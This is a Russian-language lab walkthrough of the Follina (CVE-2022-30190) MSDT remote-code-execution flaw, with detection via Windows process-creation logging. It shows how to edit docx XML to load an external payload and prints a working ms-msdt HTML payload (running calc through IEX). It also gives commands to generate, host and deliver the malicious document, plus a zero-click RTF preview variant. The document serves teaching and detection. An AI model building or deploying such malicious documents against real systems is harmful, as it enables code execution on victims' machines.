Образовательный эксплойт для CVE-2022-30190 (Follina), демонстрирующий удаленное выполнение кода через MSDT с помощью вредоносных документов Office, с рекомендациями по обнаружению и смягчению последствий.
Microsoft объясняет, что «уязвимость удаленного выполнения кода существует, когда MSDT вызывается с использованием протокола URL из вызывающего приложения, такого как Word. Злоумышленник, успешно использующий эту уязвимость, может запускать произвольный код с привилегиями вызывающего приложения. Затем злоумышленник может устанавливать программы, просматривать, изменять или удалять данные, или создавать новые учетные записи в контексте, разрешенном правами пользователя». (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft заявляет, что «Средство диагностики поддержки Microsoft (MSDT) собирает информацию для отправки в службу поддержки Microsoft. Они проанализируют эту информацию и используют ее для определения решения любых проблем, с которыми вы можете столкнуться на своем компьютере». Учитывая это, это, по сути, способ для службы поддержки Microsoft немедленно увидеть, что не так, поскольку они получают всю необходимую информацию прямо из источника.
Начнем с дисклеймера: для наших целей мы будем загружать нашу полезную нагрузку через документ Word, в частности, в формате .docx – это оригинальный эксплойт, который был обнаружен в дикой природе. Однако эта уязвимость, как было доказано, работает и с другими продуктами Office.
Два важных аспекта этой уязвимости:
Объединив два вышеуказанных аспекта, можно использовать схему MS-MSDT HTML для выполнения кода PowerShell, а файл docx можно использовать для его загрузки через возможность внешних ссылок Word.
Если углубиться в структуру docx, файл "word/_rels/document.xml.rels" содержит XML-тег с атрибутом Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", который описывает внешнюю ссылку OLE. Чтобы использовать эту возможность docx, мы можем изменить содержимое этого тега, указав вместо него на полезную нагрузку, которую мы размещаем, изменив значение Target на http://<внешний_сервер_полезной_нагрузки.com>/<полезная_нагрузка.html>, а значение TargetMode на "External".
В файле word/document.xml есть XML-тег, начинающийся с <o:OLEObject...>, в котором мы должны изменить значение Type на "Link", а затем добавить пару "ключ-значение" атрибута UpdateMode="OnCall".
Единственное, что осталось сделать, это разместить полезную нагрузку, к которой будет подключаться файл Word и от которой будет получать инструкции при открытии файла. Это делается путем создания HTML-файла со структурой, подобной следующей:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA должно повторяться >60 раз
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
В содержимом HTML-файла выше вы заметите команду ms-msdt:/id PCWDiagnostic /skip force /param, а также переключатели команд, которые можно использовать для задания команды, которую вы хотите выполнить на целевой машине. Затем вы можете комбинировать полезную нагрузку под свои цели.
Таким образом, теперь у нас есть способ добиться удаленного выполнения кода без использования макросов, и, как мы увидим позже, даже без открытия вредоносного документа.
Джон Хаммонд создал инструмент для автоматизации процесса создания вредоносного документа (maldoc) и, соответственно, размещения вредоносного HTML-файла, содержащего вредоносную команду. Инструмент описан по ссылке выше, и мы будем использовать его форк, чтобы лучше понять концепцию эксплойта, упомянутую ранее.
Откройте терминал, клонируйте этот репозиторий и перейдите в рабочий каталог, куда был клонирован репозиторий msdt-follina.
root@host:~/Follina-MSDT# python3 follina.py
После запуска эксплойта файл уже должен быть размещен, поэтому он готов к «доставке» на машину жертвы. Не закрывая исходный терминал, откройте еще один терминал и введите следующую команду для размещения файлов на сервере:
root@host:~/Follina-MSDT# python -m http.server 3456
На целевой машине откройте командную строку и введите следующую команду:
C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[IP_атакующей_машины]:3456/follina.doc -o follina.docx
Это загружает maldoc на нашу машину, и вскоре после этого на рабочем столе должен появиться файл Word с именем follina.docx, готовый к запуску. Когда будете готовы, откройте файл и посмотрите, что произойдет. Пока что давайте оставим maldoc и все, что он породил, работать.
Чтобы воспроизвести реализацию «zero click» этой уязвимости, мы просто переходим к вредоносному файлу Word, добавляем симпатичное сообщение (совершенно необязательно), сохраняем его в формате Rich Text Format (RTF), и все готово. Эта реализация предполагает, что машина жертвы находится в режиме предварительного просмотра (preview pane), иначе она вернется к исходной функциональности, которая все равно будет запущена при открытии файла.
Откройте проводник файлов и перейдите в папку «Рабочий стол». Там вы увидите, казалось бы, честный файл, который мы создали, требующий нажатия. Щелкните по нему один раз, стараясь не открывать его на самом деле, и посмотрите, что произойдет.
Несмотря на то, что файл не был открыт, эксплойт сработал так же, как и ранее в этом упражнении. Это произошло из-за двух ключевых особенностей:
Объединение этих двух функций и их злоупотребление приводит к вектору атаки, который мы только что наблюдали.
Машина Windows, которую мы использовали для изучения эксплуатации уязвимости, была предварительно настроена с включенным журналированием для:
Эти механизмы аудита не настроены по умолчанию, и поэтому крайне важно включить их в ваших собственных средах, чтобы помочь в обнаружении подозрительного поведения и сохранить ценные данные для судебных экспертов.
В ходе предыдущего процесса мы выявили ряд интересных созданий процессов при эксплуатации уязвимости. Эти создания процессов регистрируются в журналах безопасности Windows и готовы к анализу с помощью вашего любимого средства просмотра или пересылке в централизованный сборщик журналов для последующей обработки и использования.
Для этой задачи мы будем использовать Event Log Viewer для Windows от Nirsoft, чтобы просмотреть создания процессов, которые мы выявили ранее. Затем мы найдем детали в этих созданиях процессов, которые можно использовать для поиска улик в других журналах событий, чтобы лучше объяснить, что произошло за кулисами.
Откройте FullEventLogView. Перейдите в View > Use Quick Filter. Строка поиска должна появиться вверху журналов, что позволит нам выполнять быстрый поиск. Поскольку мы хотели проверить детали наших созданий процессов, мы можем нажать на крайнее левое выпадающее меню и выбрать Find Event ID (space/comma...), затем ввести 4688 в строку поиска.
Экран должен заполниться событиями создания процессов, и вы сразу заметите, что их огромное количество, несмотря на минимальное взаимодействие с машиной.